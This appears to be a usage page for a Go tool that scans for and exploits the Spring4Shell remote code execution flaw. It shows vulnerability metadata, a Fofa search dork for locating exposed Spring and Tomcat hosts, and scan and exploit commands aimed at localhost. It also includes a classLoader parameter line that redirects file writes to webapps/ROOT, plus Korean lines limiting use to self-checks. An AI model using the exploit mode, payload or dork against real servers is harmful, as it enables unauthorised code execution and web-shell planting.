
Spring4Shell (CVE-2022-22965)
Spring4Shell (CVE-2022-22965)
❯ go run main.go -s
[INF] VulnInfo:
{
"Name": "CVE-2022-22965",
"VulID": "nil",
"Version": "1.0",
"Author": "",
"VulDate": "2022-03-30",
"References": [
"https://nosec.org/home/detail/4983.html"
],
"AppName": "Spring Core",
"AppPowerLink": "https://spring.io/blog/2022/03/31/spring-framework-rce-early-announcement",
"AppVersion": "All",
"VulType": "RCE",
"Description": "An unauthenticated attacker can use this vulnerability to perform remote arbitrary code execution. The vulnerability is widespread in the Spring framework and derived frameworks, and JDK 9.0 and above are affected.",
"Category": "REMOTE",
"Dork": {
"Fofa": "app=\"APACHE-Tomcat\" || app=\"vmware-SpringBoot-framework\" || app=\"vmware-SpringBoot-framework\" || app=\"vmware-Spring-Batch\" || app=\"vmware-Spring-framework\" || app=\"vmware-Spring-Security\"",
"Quake": "",
"Zoomeye": "",
"Shodan": ""
}
}%
echo http://127.0.0.1:8181/ | go run main.go -v -t 20
http://127.0.0.1:8181/
echo http://127.0.0.1:8181/ | go run main.go -m exploit -v
파일 업로드 경로를 변경해야 할 수 있으며, 기본값은 "webapps/ROOT"입니다.
class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT/
이 절차는 보안 자가 점검 용도로만 사용해야 하며, 현지 법률을 반드시 준수하시기 바랍니다.